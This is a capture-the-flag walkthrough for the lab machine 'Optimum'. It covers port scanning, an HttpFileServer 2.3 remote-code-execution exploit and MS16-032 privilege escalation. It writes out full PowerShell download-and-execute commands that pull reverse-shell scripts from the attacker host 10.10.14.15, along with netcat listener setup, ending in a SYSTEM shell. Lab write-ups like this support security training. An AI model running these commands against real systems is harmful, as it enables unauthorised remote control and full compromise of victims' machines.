Optimum

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.8 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80 10.10.10.8 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

As we can see, there's a HttpFileServer 2.3 on port 80. We could try to find common exploits associated to that service.

searchsploit httpfileserver

There is one Remote Command Execution exploit. Let's move it to the current directory.

searchsploit -m windows/webapps/49125.py

Exploitation

Time to get a shell. First, let's set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, let's copy the Invoke-PowerShellTcpOneLine.ps1 script from Nishang to the current directory, and rename it to rv.ps1.

cp /opt/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 rv.ps1

Now, let's modify the script, and change the local IP and the port.

nano rv.ps1

Now, let's set a simple HTTP server on the current directory with python.

python -m http.server 80

Finally, we'll have to execute the python exploit pointing at the machine IP, the port and a command which will execute PowerShell, then it will download the rv.ps1 file, import it as a new module, and finally send us a reverse shell as the kostas user. Then, we'll be able to grab the user flag.

python 49125.py 10.10.10.8 80 "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.15/rv.ps1')"

Privilege Escalation

At this point, I wanted to know if there where any vulnerabilities associated with this system. To do it, I will copy the entire output of the systeminfo command, and paste it in the systeminfo.txt file on my local machine.

systeminfo

Now, I will use the windows-exploit-suggester tool. First, let's generate the required flag to run the script.

python2 /home/alfa8sa/tools/privEsc/windows-exploit-suggester.py -u

  • -u required flag to even run the script.

Then, run the script poiting at the systeminfo.txt and the 2022-07-02-mssb.xls files.

python2 /home/alfa8sa/tools/privEsc/windows-exploit-suggester.py -d 2022-07-02-mssb.xls -i systeminfo.txt

  • -d the file that contains the microsoft security bulletin database.

  • -i feed in an input file that contains the 'systeminfo' command.

There are a lot of vulnerabilities. It appears that the system is vulnerable to MS16-032. If you look for GitHub exploits associated to MS16-032, you'll find this PowerShell exploit. Let's download it.

wget https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1

Now, modify the exploit by adding at the end of it the following line, which will import as a new PowerShell module the rv.ps1 file which will send us a reverse shell on port 4444.

Then, set another netcat listener on port 4444.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then, set another simple HTTP server with python on port 80.

python -m http.server 80

Finally, if we execute the following command on the victim machine, we'll get a reverse shell as the nt authority\system user. Then, all we have to do is reap the harvest and take the root flag.

IEX(New-Object Net.WebClient).downloadString("http://10.10.14.15/Invoke-MS16032.ps1")

Last updated

Was this helpful?